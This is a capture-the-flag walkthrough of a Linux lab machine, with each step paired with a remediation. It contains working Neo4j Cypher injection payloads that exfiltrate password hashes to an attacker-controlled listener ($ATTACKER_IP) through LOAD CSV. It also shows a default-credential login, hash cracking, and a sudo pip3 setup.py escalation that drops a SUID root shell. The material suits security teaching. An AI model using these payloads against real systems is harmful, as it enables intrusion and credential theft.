← all walkthroughs

OnlyForYou

Linux· Medium
owned
2026-09-05
time to own
21m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated the target and found two web applications beyond the public site: a Gogs git server and a Flask-based admin dashboard, both reachable directly from the network. The admin dashboard accepted the default credentials admin/admin, and its authenticated search feature turned out to be vulnerable to Neo4j Cypher injection, which was used to blind-exfiltrate a user's password hash via out-of-band HTTP callbacks.

Cracking that hash recovered valid SSH credentials for the user john, giving a foothold and the user flag. From there, an overly permissive sudo rule let john run pip3 download as root against any package hosted on the local Gogs instance; hosting a malicious Python package whose setup.py drops a SUID root shell, then triggering the sudo'd download, executed that code as root and delivered full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration
Mapped the network surface and found two exposed internal web apps
Beyond the public nginx site on port 80, port scanning and service probing revealed a Gogs self-hosted git server on tcp/13000 (identified by its 'i_like_gogs' cookie and Gogs branding) and a separate Flask-based admin dashboard on tcp/18001 (gunicorn, login-gated), both directly reachable over the network rather than restricted to localhost.
Curl to :13000 returned Gogs HTML/branding; curl to :18001 returned a gunicorn 302 redirect to /login.
Exact commands 3
shell

Full port sweep; confirms 22, 80, plus the internal-looking 13000 and 18001.

$ nmap -sV -p- $TARGET
shell

Fingerprint Gogs via its i_like_gogs cookie and page branding.

$ curl -sS -i --max-time 10 http://$TARGET:13000/
shell

Fingerprint the gunicorn-served Flask admin app and its /login redirect.

$ curl -sS -i --max-time 10 http://$TARGET:18001/
FixRemove default credentials and restrict internal admin apps to trusted networksCritical
WeaknessThe internal Gogs git server and Flask admin dashboard were both reachable directly from the network, and the admin dashboard accepted the unchanged vendor-default credential pair admin/admin, giving anyone who found the port full authenticated access.
FixSet a strong unique password for every admin account immediately after deployment, enforce this with a startup check that rejects default credentials, and bind internal/admin-only services (Gogs, the Flask dashboard) to localhost or an internal VLAN/VPN rather than exposing them on the same interface as the public site. Add MFA for admin accounts where supported.
2Initial AccessDefault Credentials (T1078.001)
Logged into the admin dashboard using default credentials
The Flask admin dashboard on port 18001 accepted the vendor-default credential pair admin/admin on first try, granting an authenticated session and access to the dashboard's internal search feature.
POST /login with username=admin&password=admin returned HTTP 302 to /dashboard with a valid session cookie.
Exact commands 2
shell

Grab an initial session/CSRF cookie.

$ curl -sS -c cookies.txt --max-time 10 http://$TARGET:18001/login
shell

Authenticate with default creds; 302 to /dashboard confirms success.

$ curl -sS -i -b cookies.txt -c cookies.txt -X POST --data-urlencode 'username=admin' --data-urlencode 'password=admin' http://$TARGET:18001/login
3ExploitationCypher Injection / OOB data exfiltration (CWE-943)
Injected Cypher syntax into the search feature to blind-exfiltrate a password hash
The authenticated /search endpoint passed the search term straight into a Neo4j Cypher query. Malformed break-out payloads raised HTTP 500s while well-formed injected branches rendered normally, which is the injection. Results were never reflected back, so extraction went out of band: each payload ends in a LOAD CSV whose URL is built from the value being read, and the database fetches it from my listener. Three passes were enough — the labels in the graph, the property keys on the label that mattered, then the values themselves.
Listener log, all sourced from the target: GET /?label=user, GET /?key=password, and GET /?password=<the-hash-that-came-back>. Neo4j performed the LOAD CSV callbacks itself, which is what proves the injected branch ran on the server.
Exact commands 5
shell

Run on my tun0 IP to catch the OOB LOAD CSV callbacks.

$ python3 -m http.server 80
shell

First pass: make the database name every label in the graph, one callback each.

$ cat > /tmp/o4y_labels.txt <<CYPHER
' OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM 'http://$ATTACKER_IP/?label=' + label as l RETURN 0 as _0 //
CYPHER
shell

Second pass: the property keys, which is how password turns up as a field worth reading.

$ cat > /tmp/o4y_keys.txt <<CYPHER
' OR 1=1 WITH 1 as a CALL db.propertyKeys() YIELD propertyKey LOAD CSV FROM 'http://$ATTACKER_IP/?key=' + propertyKey as l RETURN 0 as _0 //
CYPHER
shell

Third pass: every property of every user node, so the hash arrives in the query string.

$ cat > /tmp/o4y_values.txt <<CYPHER
' OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://$ATTACKER_IP/?' + p + '=' + toString(u[p]) as l RETURN 0 as _0 //
CYPHER
shell

Send each payload file in turn with --data-urlencode search@<file>. The listener records the callback; the HTTP response never shows anything.

$ curl -sS -b cookies.txt -X POST --data-urlencode search@/tmp/o4y_payload.txt http://$TARGET:18001/search -o /tmp/o4y-response.html
FixParameterize database queries and disable dangerous Cypher proceduresCritical
WeaknessThe /search endpoint concatenated user-supplied input directly into a Neo4j Cypher query, letting an unauthorised user break out of the intended query and use procedures like apoc.load.json/LOAD CSV to exfiltrate arbitrary graph data out-of-band.
FixRewrite all Cypher queries to use parameterized queries (e.g. MATCH (u:user) WHERE u.name = $name) instead of string concatenation, never build queries from raw request data, and disable or allowlist APOC/LOAD CSV procedures that can make outbound network calls (apoc.import.file.enabled=false, restrict dbms.security.procedures.unrestricted).
4Credential AccessPassword Cracking (T1110.002)
Cracked john's stored password digest and used it over SSH
The application keeps user passwords in Neo4j as bare SHA-256 digests — no salt, no work factor — which is a single fast hash per candidate. Reading john's digest out through the injection and running it through hashcat in mode 1400 against a wordlist recovered the plaintext in the time it takes to load the list. The same password then authenticated over SSH, so the database compromise became a shell. An unsalted SHA-256 offers no meaningful resistance here; the control that would have mattered is a password hashing function with a cost parameter, and not reusing the value for the account's shell login.
SSH as john with the recovered password returned uid=1000(john) gid=1000(john) groups=1000(john).
Exact commands 2
shell

Mode 1400 is raw SHA-256. Unsalted and uncosted, so a wordlist run is quick.

$ hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
shell

The cracked value is also the account's SSH password.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'id'
FixEnforce strong, unique passwords and use a slow, salted hashing algorithmHigh
WeaknessThe exposed password hash cracked in a short offline session, indicating both a weak/guessable user password and a hashing scheme (fast, unsalted or generically salted SHA-256) that offers little resistance to GPU cracking.
FixStore credentials with a slow, memory-hard KDF (bcrypt, scrypt, or Argon2id) with a unique per-user salt, enforce a minimum password complexity/length policy, and rotate any credential known to have been exposed.
5FootholdValid Accounts (T1078)
Used the recovered credential to SSH in as john and captured user.txt
The cracked password was valid for SSH login as the low-privileged local user john, providing an interactive foothold and access to the user flag.
SSH login returned uid=1000(john) gid=1000(john) groups=1000(john).
Exact commands 2
shell

Confirm shell access as john.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'id'
shell

Read the user flag; replace output with <user.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no john@$TARGET 'cat /home/john/user.txt'
6Privilege Escalation (Discovery)Sudo Rights Abuse / GTFOBins pip3
Found an unrestricted sudo rule for pip3 download
Checking sudo rights as john revealed a NOPASSWD entry allowing /usr/bin/pip3 download against any tarball URL under the local Gogs instance on port 3000 — enough to let a local git repo control what root's pip process fetches and builds. The URL in the sudoers rule is pinned to 127.0.0.1:3000, which is this same Gogs on loopback; port 13000 seen during the port scan is the externally reachable bind of it. The rule only permits the loopback form, so the download has to name 127.0.0.1:3000 even though the service was found on 13000.
Exact commands 1
shell

Enumerate standing sudo rights.

$ sshpass -p "$PASSWORD" ssh john@$TARGET 'sudo -l'
(root) NOPASSWD: /usr/bin/pip3 download http://127.0.0.1:3000/*.tar.gz
FixRemove the unrestricted sudo pip3 ruleCritical
Weaknessjohn was permitted to run 'sudo pip3 download' against any tarball URL under the local Gogs server with no password, and pip3 executes a downloaded package's setup.py during the build step — turning control of that Gogs repo into arbitrary code execution as root.
FixRemove this sudoers entry entirely; pip should never be run as root for arbitrary user-reachable URLs. If root truly needs to fetch packages, restrict to a private, integrity-pinned internal index and run pip download --no-deps --no-build-isolation is not sufficient — instead use --only-binary=:all: to prevent sdist builds, or better, drop the sudo grant and have a CI/CD pipeline handle package installation with vetted, pinned artifacts.
7Privilege EscalationArbitrary Code Execution via pip setup.py + Sudo GTFOBins (T1548.003)
Hosted a malicious Python package on Gogs and triggered the sudo'd pip3 download to execute setup.py as root
Pip's 'download' subcommand still builds an sdist for packages that ship a setup.py, which means the file's code runs during the build — even though nothing gets installed. A repo (john/o4ypkg2) was created on the local Gogs instance hosting a package whose setup.py copies /bin/bash to /tmp/rootbash and sets the SUID bit. Running the permitted sudo command against that package executed the payload as root, dropping a SUID root shell.
-rwsr-xr-x 1 root root 1183448 ... /tmp/rootbash; /tmp/rootbash -p -c 'id' returned euid=0(root).
Exact commands 3
shell

Triggers the sudo'd pip3 download; pip builds the sdist and runs its setup.py as root.

$ sshpass -p "$PASSWORD" ssh john@$TARGET 'cd /tmp && sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/o4ypkg2/archive/master.tar.gz'
shell

Confirm euid=0 from the dropped SUID shell before touching the flag.

$ sshpass -p "$PASSWORD" ssh john@$TARGET "/tmp/rootbash -p -c 'id'"
shell

Read the root flag; replace output with <root.txt>.

$ sshpass -p "$PASSWORD" ssh john@$TARGET "/tmp/rootbash -p -c 'cat /root/root.txt'"

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp